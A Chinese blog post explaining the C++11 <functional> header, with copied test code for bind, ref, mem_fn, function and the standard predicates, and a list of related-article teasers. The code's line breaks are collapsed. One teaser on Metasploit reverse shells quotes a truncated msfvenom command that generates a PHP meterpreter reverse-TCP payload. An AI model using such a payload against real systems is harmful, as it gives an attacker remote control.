C++/C++11中头文件functional的使用
<functional>是C++标准库中的一个头文件,定义了C++标准中多个用于表示函数对象(function object)的类模板,包括算法操作、比较操作、逻辑操作;以及用于绑定函数对象的实参值的绑定器(binder)。这些类模板的实例是具有函数调用运算符(function call operator)的C++类,这些类的实例可以如同函数一样调用。不必写新的函数对象,而仅是组合预定义的函数对象与函数对象适配器(function object adaptor),就可以执行非常复杂的操作。
std::bind:将一个或多个参数绑定到函数对象,更详细的用法可参考 http://blog.csdn.net/fengbingchun/article/details/52613910 ;
std::is_bind_expression:用于判断指定表达式是否为std::bind函数返回的结果类型;
std::reference_wrapper:类模板,用于包装对一个实例的引用,它是可拷贝和可赋值的;
std::ref:构造一个适当的std::reference_wrapper类型的对象来保存对elem(实例对象)的引用;
std::cref:构造一个适当的std::reference_wrapper类型的对象来保存对elem(实例对象)的const 引用;
std::mem_fn:将成员函数转换为函数对象;
std::not1:返回一个对谓词(一元函数)的结果取反的函数对象;
std::not2:返回一个对二元谓词(二元函数)的结果取反的函数对象;
std::unary_negate:一元谓词对象类,其调用时把另一个一元谓词的返回值取反;
std::binary_negate:二元谓词对象类,其调用时把另一个二元谓词的返回值取反;
std::function:类模版,是一种通用、多态的函数封装。std::function的实例可以对任何可以调用的目标实体进行存储、复制、和调用操作,这些目标实体包括普通函数、Lambda表达式、函数指针、以及其它函数对象等,更详细的用法可参考 http://blog.csdn.net/fengbingchun/article/details/52562918 ;
std::and:二元谓词对象类, x& y;
std::or:二元谓词对象类, x |y;
std::xor:二元谓词对象类, x ^y;
std::plus:二元谓词对象类, x +y;
std::minus:二元谓词对象类, x -y;
std::multiplies:二元谓词对象类, x *y;
std::divides:二元谓词对象类, x /y;
std::modulus:二元谓词对象类, x %y;
std::negate:一元谓词对象类, -x;
std::equal_to: 二元谓词对象类, x ==y;
std::not_equal_to:二元谓词对象类, x != y;
std::greater: 二元谓词对象类, x >y;
std::less: 二元谓词对象类, x <y;
std::greater_equal:二元谓词对象类, x >= y;
std::less_equal:二元谓词对象类, x <= y;
std::logical_and:二元谓词对象类, x && y;
std::logical_or:二元谓词对象类, x || y;
std::logical_not:一元谓词对象类, !x;
std::bad_function_call:这是一个被抛出的异常类,用于表示被调用的函数对象为空;
std::hash:一元函数对象类,用于定义标准库使用的默认散列函数;
std::placeholders:命名空间,该命名空间声明一个未指定数量的对象:_1,_2,_3,...,用于在函数std::bind的调用中指定占位符;
std::is_placeholder:用于判断指定表达式是否为std::placeholders中定义的placeholder类型。
C++11中也废弃了一些旧式的函数对象。
下面是从其它文章中copy的<functional>测试代码,详细内容介绍可以参考对应的reference:
#include "functional.hpp"
#include <functional>
#include <iostream>
#include <algorithm>
#include <utility>
#include <iterator>
#include <numeric>
#include <string>// reference: http://www.cplusplus.com/reference/functional/namespace functional_ {
///
// a function: (also works with function object: std::divides<double> my_divide;)
static double my_divide(double x, double y) { return x / y; }struct MyPair {double a, b;double multiply() { return a*b; }
};int test_functional_bind()
{using namespace std::placeholders; // adds visibility of _1, _2, _3,...// binding functions:auto fn_five = std::bind(my_divide, 10, 2); // returns 10/2std::cout << fn_five() << '\n'; // 5auto fn_half = std::bind(my_divide, _1, 2); // returns x/2std::cout << fn_half(10) << '\n'; // 5auto fn_invert = std::bind(my_divide, _2, _1); // returns y/xstd::cout << fn_invert(10, 2) << '\n'; // 0.2auto fn_rounding = std::bind<int>(my_divide, _1, _2); // returns int(x/y)std::cout << fn_rounding(10, 3) << '\n'; // 3MyPair ten_two{ 10, 2 };// binding members:auto bound_member_fn = std::bind(&MyPair::multiply, _1); // returns x.multiply()std::cout << bound_member_fn(ten_two) << '\n'; // 20auto bound_member_data = std::bind(&MyPair::a, ten_two); // returns ten_two.astd::cout << bound_member_data() << '\n'; // 10return 0;
}//
int test_functional_cref()
{int foo(10);auto bar = std::cref(foo);std::cout << bar << '\n'; // 10++foo;std::cout << bar << '\n'; // 11return 0;
}/
int test_functional_ref()
{int foo(10);auto bar = std::ref(foo);std::cout << bar << '\n'; // 10++bar;std::cout << foo << '\n'; // 11std::cout << bar << '\n'; // 11return 0;
}//
struct int_holder {int value;int triple() { return value * 3; }
};int test_functional_mem_fn()
{int_holder five{ 5 };// call member directly:std::cout << five.triple() << '\n'; // 15// same as above using a mem_fn:auto triple = std::mem_fn(&int_holder::triple);std::cout << triple(five) << '\n'; // 15return 0;
}//
struct IsOdd {bool operator() (const int& x) const { return x % 2 == 1; }typedef int argument_type;
};int test_functional_not1()
{int values[] = { 1, 2, 3, 4, 5 };int cx = std::count_if(values, values + 5, std::not1(IsOdd()));std::cout << "There are " << cx << " elements with even values.\n"; // 2return 0;
}int test_functional_not2()
{int foo[] = { 10, 20, 30, 40, 50 };int bar[] = { 0, 15, 30, 45, 60 };std::pair<int*, int*> firstmatch, firstmismatch;firstmismatch = std::mismatch(foo, foo + 5, bar, std::equal_to<int>());firstmatch = std::mismatch(foo, foo + 5, bar, std::not2(std::equal_to<int>()));std::cout << "First mismatch in bar is " << *firstmismatch.second << '\n'; // 0std::cout << "First match in bar is " << *firstmatch.second << '\n'; // 30return 0;
}//
int test_functional_binary_negate()
{std::equal_to<int> equality;std::binary_negate < std::equal_to<int> > nonequality(equality);int foo[] = { 10, 20, 30, 40, 50 };int bar[] = { 0, 15, 30, 45, 60 };std::pair<int*, int*> firstmatch, firstmismatch;firstmismatch = std::mismatch(foo, foo + 5, bar, equality);firstmatch = std::mismatch(foo, foo + 5, bar, nonequality);std::cout << "First mismatch in bar is " << *firstmismatch.second << "\n"; // 0std::cout << "First match in bar is " << *firstmatch.second << "\n"; // 30return 0;
}struct IsOdd_class {bool operator() (const int& x) const { return x % 2 == 1; }typedef int argument_type;
} IsOdd_object;int test_functional_unary_negate()
{std::unary_negate<IsOdd_class> IsEven_object(IsOdd_object);int values[] = { 1, 2, 3, 4, 5 };int cx;cx = std::count_if(values, values + 5, IsEven_object);std::cout << "There are " << cx << " elements with even values.\n"; // 2return 0;
}// a function:
static int half(int x) { return x / 2; }// a function object class:
struct third_t {int operator()(int x) { return x / 3; }
};// a class with data members:
struct MyValue {int value;int fifth() { return value / 5; }
};int test_functional_function()
{std::function<int(int)> fn1 = half; // functionstd::function<int(int)> fn2 = ½ // function pointerstd::function<int(int)> fn3 = third_t(); // function objectstd::function<int(int)> fn4 = [](int x){return x / 4; }; // lambda expressionstd::function<int(int)> fn5 = std::negate<int>(); // standard function objectstd::cout << "fn1(60): " << fn1(60) << '\n'; // 30std::cout << "fn2(60): " << fn2(60) << '\n'; // 30std::cout << "fn3(60): " << fn3(60) << '\n'; // 20std::cout << "fn4(60): " << fn4(60) << '\n'; // 15std::cout << "fn5(60): " << fn5(60) << '\n'; // -06// stuff with members:std::function<int(MyValue)> value = &MyValue::value; // pointer to data memberstd::function<int(MyValue)> fifth = &MyValue::fifth; // pointer to member functionMyValue sixty{ 60 };std::cout << "value(sixty): " << value(sixty) << '\n'; // 60std::cout << "fifth(sixty): " << fifth(sixty) << '\n'; // 12return 0;
}int test_functional_reference_wrapper()
{int a(10), b(20), c(30);// an array of "references":std::reference_wrapper<int> refs[] = { a, b, c };std::cout << "refs:";for (int& x : refs) std::cout << ' ' << x; // 10 20 30std::cout << '\n';return 0;
}//
int test_functional_bit()
{
{int values[] = { 100, 200, 300, 400, 500 };int masks[] = { 0xf, 0xf, 0xf, 255, 255 };int results[5];std::transform(values, std::end(values), masks, results, std::bit_and<int>());std::cout << "results:";for (const int& x : results)std::cout << ' ' << x; // 4 8 12 144 244std::cout << '\n';
}{int flags[] = { 1, 2, 4, 8, 16, 32, 64, 128 };int acc = std::accumulate(flags, std::end(flags), 0, std::bit_or<int>());std::cout << "accumulated: " << acc << '\n'; // 255
}{int flags[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };int acc = std::accumulate(flags, std::end(flags), 0, std::bit_xor<int>());std::cout << "xor: " << acc << '\n'; // 11
}return 0;
}//
int test_functional_arithmetic()
{
{int first[] = { 1, 2, 3, 4, 5 };int second[] = { 10, 20, 30, 40, 50 };int results[5];std::transform(first, first + 5, second, results, std::plus<int>());for (int i = 0; i<5; i++)std::cout << results[i] << ' '; // 11 22 33 44 55std::cout << '\n';
}{int numbers[] = { 10, 20, 30 };int result;result = std::accumulate(numbers, numbers + 3, 100, std::minus<int>());std::cout << "The result of 100-10-20-30 is " << result << ".\n"; // 40
}{int numbers[9];int factorials[9];for (int i = 0; i<9; i++) numbers[i] = i + 1;std::partial_sum(numbers, numbers + 9, factorials, std::multiplies<int>());for (int i = 0; i<9; i++)std::cout << numbers[i] << "! is " << factorials[i] << '\n'; // 1 2 6 24 120 720 5040 40320 362880
}{int first[] = { 10, 40, 90, 40, 10 };int second[] = { 1, 2, 3, 4, 5 };int results[5];std::transform(first, first + 5, second, results, std::divides<int>());for (int i = 0; i<5; i++)std::cout << results[i] << ' '; // 10 20 30 10 2std::cout << '\n';
}{int numbers[] = { 1, 2, 3, 4, 5 };int remainders[5];std::transform(numbers, numbers + 5, remainders, std::bind2nd(std::modulus<int>(), 2));for (int i = 0; i < 5; i++)std::cout << numbers[i] << " is " << (remainders[i] == 0 ? "even" : "odd") << '\n';
}{int numbers[] = { 10, -20, 30, -40, 50 };std::transform(numbers, numbers + 5, numbers, std::negate<int>());for (int i = 0; i<5; i++)std::cout << numbers[i] << ' '; // -10 20 -30 40 -50std::cout << '\n';
}return 0;
}///
int test_functional_compare()
{
{std::pair<int*, int*> ptiter;int foo[] = { 10, 20, 30, 40, 50 };int bar[] = { 10, 20, 40, 80, 160 };ptiter = std::mismatch(foo, foo + 5, bar, std::equal_to<int>());std::cout << "First mismatching pair is: " << *ptiter.first; // 30std::cout << " and " << *ptiter.second << '\n'; // 40
}{int numbers[] = { 10, 10, 10, 20, 20 };int* pt = std::adjacent_find(numbers, numbers + 5, std::not_equal_to<int>()) + 1;std::cout << "The first different element is " << *pt << '\n'; // 20
}{int numbers[] = { 20, 40, 50, 10, 30 };std::sort(numbers, numbers + 5, std::greater<int>());for (int i = 0; i<5; i++)std::cout << numbers[i] << ' '; // 50 40 30 20 10std::cout << '\n';
}{int foo[] = { 10, 20, 5, 15, 25 };int bar[] = { 15, 10, 20 };std::sort(foo, foo + 5, std::less<int>()); // 5 10 15 20 25std::sort(bar, bar + 3, std::less<int>()); // 10 15 20if (std::includes(foo, foo + 5, bar, bar + 3, std::less<int>()))std::cout << "foo includes bar.\n"; // foo includes bar
}{int numbers[] = { 20, -30, 10, -40, 0 };int cx = std::count_if(numbers, numbers + 5, std::bind2nd(std::greater_equal<int>(), 0));std::cout << "There are " << cx << " non-negative elements.\n"; // 3
}{int numbers[] = { 25, 50, 75, 100, 125 };int cx = std::count_if(numbers, numbers + 5, std::bind2nd(std::less_equal<int>(), 100));std::cout << "There are " << cx << " elements lower than or equal to 100.\n"; // 4
}return 0;
}///
int test_functional_logical()
{
{bool foo[] = { true, false, true, false };bool bar[] = { true, true, false, false };bool result[4];std::transform(foo, foo + 4, bar, result, std::logical_and<bool>());std::cout << std::boolalpha << "Logical AND:\n";for (int i = 0; i<4; i++)std::cout << foo[i] << " AND " << bar[i] << " = " << result[i] << "\n"; // true false false false
}{bool foo[] = { true, false, true, false };bool bar[] = { true, true, false, false };bool result[4];std::transform(foo, foo + 4, bar, result, std::logical_or<bool>());std::cout << std::boolalpha << "Logical OR:\n";for (int i = 0; i<4; i++)std::cout << foo[i] << " OR " << bar[i] << " = " << result[i] << "\n"; // true true true false
}{bool values[] = { true, false };bool result[2];std::transform(values, values + 2, result, std::logical_not<bool>());std::cout << std::boolalpha << "Logical NOT:\n";for (int i = 0; i<2; i++)std::cout << "NOT " << values[i] << " = " << result[i] << "\n"; // false true
}return 0;
}int test_functional_bad_function_call()
{std::function<int(int, int)> foo = std::plus<int>();std::function<int(int, int)> bar;try {std::cout << foo(10, 20) << '\n'; // 30std::cout << bar(10, 20) << '\n';} catch (std::bad_function_call& e){std::cout << "ERROR: Bad function call\n"; // ERROR: Bad function call}return 0;
}//
int test_functional_hash()
{char nts1[] = "Test";char nts2[] = "Test";std::string str1(nts1);std::string str2(nts2);std::hash<char*> ptr_hash;std::hash<std::string> str_hash;std::cout << "same hashes:\n" << std::boolalpha;std::cout << "nts1 and nts2: " << (ptr_hash(nts1) == ptr_hash(nts2)) << '\n'; // falsestd::cout << "str1 and str2: " << (str_hash(str1) == str_hash(str2)) << '\n'; // truereturn 0;
}/
int test_functional_is_bind_expression()
{using namespace std::placeholders; // introduces _1auto increase_int = std::bind(std::plus<int>(), _1, 1);std::cout << std::boolalpha;std::cout << std::is_bind_expression<decltype(increase_int)>::value << '\n'; // truereturn 0;
}/
int test_functional_is_placeholder()
{using namespace std::placeholders; // introduces _1std::cout << std::is_placeholder<decltype(_1)>::value << '\n'; // 1std::cout << std::is_placeholder<decltype(_2)>::value << '\n'; // 2std::cout << std::is_placeholder<int>::value << '\n'; // 0return 0;
}} // namespace functional_
GitHub: https://github.com/fengbingchun/Messy_Test
相关文章:

飞天AI平台到底哪里与众不同?听听它的架构者怎么说
采访嘉宾 | 林伟 整理 | 夕颜 出品 | AI科技大本营(ID:rgznai100) 天下没有不散的宴席。 9 月 25 日,云栖大会在云栖小镇开始,历经三天的技术盛宴,于 9 月 27 日的傍晚结束。 三天、全球6.7万人现场参会、超1250万人…

浅谈 sessionStorage、localStorage、cookie 的区别以及使用
1、sessionStorage、localStorage、cookie 之间的区别 相同点 cookie 和 webStorage 都是用来存储客户端的一些信息不同点 localStorage localStorage 的生命周期是 永久的。也就是说 只要不是 手动的去清除。localStorage 会一直存储 sessionStorage 相反 sessionStorage 的生…

任务栏窗口和状态图标的闪动 z
Demo程序: 实现任务栏窗体和图标的闪动: 整个程序是基于Windows Forms的,对于任务栏右下角状态图标的闪动,创建了一个类型:NotifyIconAnimator,基本上是包装了Windows Forms中的NotifyIcon类型,…
深度学习中的最大似然估计简介
统计领域为我们提供了很多工具来实现机器学习目标,不仅可以解决训练集上的任务,还可以泛化。例如参数估计、偏差和方差,对于正式地刻画泛化、欠拟合和过拟合都非常有帮助。点估计:点估计试图为一些感兴趣的量提供单个”最优”预测…
简单粗暴上手TensorFlow 2.0,北大学霸力作,必须人手一册!
(图片付费下载自视觉中国) 整理 | 夕颜 出品 | AI科技大本营(ID:rgznai100) 【导读】 TensorFlow 2.0 于近期正式发布后,立即受到学术界与科研界的广泛关注与好评。此前,AI 科技大本营曾特邀专家回顾了 Te…

常见运维漏洞-Rsync-Redis
转载于:https://blog.51cto.com/10945453/2394651

zabbix笔记
(1)转载于:https://blog.51cto.com/zlong37/1406441

C++/C++11中头文件algorithm的使用
<algorithm>是C标准程序库中的一个头文件,定义了C STL标准中的基础性的算法(均为函数模板)。<algorithm>定义了设计用于元素范围的函数集合。任何对象序列的范围可以通过迭代器或指针访问。 std::adjacent_find:在序列中查找第一对相邻且值…

js filter 用法
filter filter函数可以看成是一个过滤函数,返回符合条件的元素的数组 filter需要在循环的时候判断一下是true还是false,是true才会返回这个元素; filter()接收的回调函数,其实可以有多个参数。通常我们仅使用第一个参数ÿ…

每30秒学会一个Python小技巧,GitHub星数4600+
(图片付费下载自视觉中国)作者 | xiaoyu,数据爱好者来源 | Python数据科学(ID:PyDataScience)很多学习Python的朋友在项目实战中会遇到不少功能实现上的问题,有些问题并不是很难的问题,或者已经…

Nginx自定义模块编写:根据post参数路由到不同服务器
Nginx可以轻松实现根据不同的url 或者 get参数来转发到不同的服务器,然而当我们需要根据http包体来进行请求路由时,Nginx默认的配置规则就捉襟见肘了,但是没关系,Nginx提供了强大的自定义模块功能,我们只要进行需要的扩…
深度学习中的贝叶斯统计简介
贝叶斯用概率反映知识状态的确定性程度。数据集能够被直接观测到,因此不是随机的。另一方面,真实参数θ是未知或不确定的,因此可以表示成随机变量。在观察到数据前,我们将θ的已知知识表示成先验概率分布(prior probability distr…

少走弯路:强烈推荐的TensorFlow快速入门资料(可下载)
(图片付费下载自视觉中国)作者 | 黄海广来源 | 机器学习初学者(ID: ai-start-com)知识更新非常快,需要一直学习才能跟上时代进步,举个例子:吴恩达老师在深度学习课上讲的TensorFlow使用…

有状态bean与无状态bean
在学习bean的作用域的时候,了解了这个问题。 bean5种作用域:分别是:singleton、prototype、request、session、gloabal session 接下来就讲一下有状态bean与无状态bean: 有状态会话bean :每个用户有自己特有的一个实例…

从Developer Removed From Sale 回到可下载状态的方法
2019独角兽企业重金招聘Python工程师标准>>> 如果你不小心点了”Remove“ 按钮,App的状态会变成"Developer Removed From Sale ",这时,即使更新应用也无法改变这个状态。想要让App恢复可下载状态,你需要尝试…
朴素贝叶斯分类器简介及C++实现(性别分类)
贝叶斯分类器是一种基于贝叶斯定理的简单概率分类器。在机器学习中,朴素贝叶斯分类器是一系列以假设特征之间强(朴素)独立下运用贝叶斯定理为基础的简单概率分类器。朴素贝叶斯是文本分类的一种热门(基准)方法,文本分类是以词频为特征判断文件所属类别或…

你当年没玩好的《愤怒的小鸟》,AI现在也犯难了
(图片源自百度百科)作者 | Ekaterina Nikonova,Jakub Gemrot译者 | Tianyu出品 | AI科技大本营(ID:rgznai100)现在说起《愤怒的小鸟》游戏,要把人的回忆一下拉扯到差不多十年前了。它是一款当时一经推出就广…

msf反弹shell
今天回顾了一下msf反弹shell的操作,在这里做一下记录和分享。( ̄︶ ̄)↗ 反弹shell的两种方法 第一种Msfvenom实例: 1、msfconsole #启动msf 2、msfvenom -p php/meterpreter/reverse_tcp LHOST<Your IP Address> LPOR…

mysql 5.5半同步复制功能部署
安装、配置Semi-sync Replication在两台主机上安装好MySQL5.5,编译好的插件在目录CMAKE_INSTALL_PREFIX/lib/plugin下(默认是/usr/local/mysql/lib/plugin)。例如这里编译是指定CMAKE_INSTALL_PREFIX为/home/mysql/mysql,则有&…
Windows7/10上配置OpenCV3.3.0-Python3.6.2操作步骤
目前OpenCV无论是2.4.x还是最新的3.3.0版本,默认支持的都是Python 2.7版本。这里介绍下如何使OpenCV 3.3.0支持Python 3.6.2的操作步骤:1. 从 https://github.com/opencv/opencv/releases/tag/3.3.0 下载3.3.0.zip或opencv-3.3.0-vc14.exe,…

manage.py命令
一、manage.py命令选 manage.py是每个Django项目中自动生成的一个用于管理项目的脚本文件,需要通过python命令执行。manage.py接受的是Django提供的内置命令。 内置命令包含 checkdbshelldiffsettingsflushmakemigrationsmigraterunservershellstartappstartproject…

图灵奖得主Bengio再次警示:可解释因果关系是深度学习发展的当务之急
(图片付费下载自视觉中国)作者 | Will Knight译者 | Monanfei来源 | Wired出品 | AI科技大本营(ID:rgznai100)深度学习擅长在大量数据中寻找模式,但无法解释它们之间的关系。图灵奖获得者 Yoshua Bengio 希望改变这一状…

解决jQuery不同版同时引用的冲突
今天研发的同事在开发一个新jQuery插件时,遇到一个揪心的问题。平台以前使用的 jQuery版本是1.2.6,偶,天啊!这是古代的版本啊! 由于很多功能基于老版本,不能删除啊,同志们都懂的! 于…

TensorFlow中的计算图
作者 | stephenDC来源 | 大数据与人工智能(ID:ai-big-data)1 什么是计算图?一个机器学习任务的核心是模型的定义以及模型的参数求解方式,对这两者进行抽象之后,可以确定一个唯一的计算逻辑,将这个逻辑用图表…

java设计模式-适配器模式
模式导读: 每个人都有自己不同的需要,每个人都有自己能够接受的不同方式,就像是为满足现在快速度发展的社会,几乎人人离不开手机的时代,我们也许会碰到在外出行手机电量不足的情况,这个时候如果你在车站,你…
Ubuntu 14.04 64位上安装Valgrind 3.13.0 操作步骤
关于Valgrind的介绍和使用可以参考: http://blog.csdn.net/fengbingchun/article/details/50196189 在Ubuntu 14.04上可以通过以下命令直接安装Valgrind,直接通过命令安装的版本是3.10.1,如下图,有些较老,目前最新版本…

粗谈Android中的对齐
在谈这个之前先啰嗦几个概念。 基线:书写英语单词时为了规范书写会设有四条线,从上至下第三条就是基线。基线对齐主要是为了两个控件中显示的英文单词的基线对齐,如下所示: Start:在看API的时候经常会有Start对齐&…
OpenCV3.3中逻辑回归(Logistic Regression)使用举例
OpenCV3.3中给出了逻辑回归(logistic regression)的实现,即cv::ml::LogisticRegression类,类的声明在include/opencv2/ml.hpp文件中,实现在modules/ml/src/lr.cpp文件中,它既支持两分类,也支持多分类,其中:…

多数编程语言里的0.1+0.2≠0.3?
作者 | Parul Malhotra译者 | Raku出品 | AI科技大本营(ID:rgznai100)我们从小就被教导说0.10.20.3,但是在奇妙的计算机编程世界里面,事情变得不一样了。我最近在用JavaScript编程,正在阅读数据类型的时候,…

iOSSharing #9 | 2019-05-19
目录 1. setNeedsLayout、layoutIfNeeded与layoutSubviews区别? 2. UIView与CALayer的区别? 3. loadView什么时候被调用?它有什么作用?默认实现是怎么样的? 4. UIViewController的完整生命周期? 5. UIView动…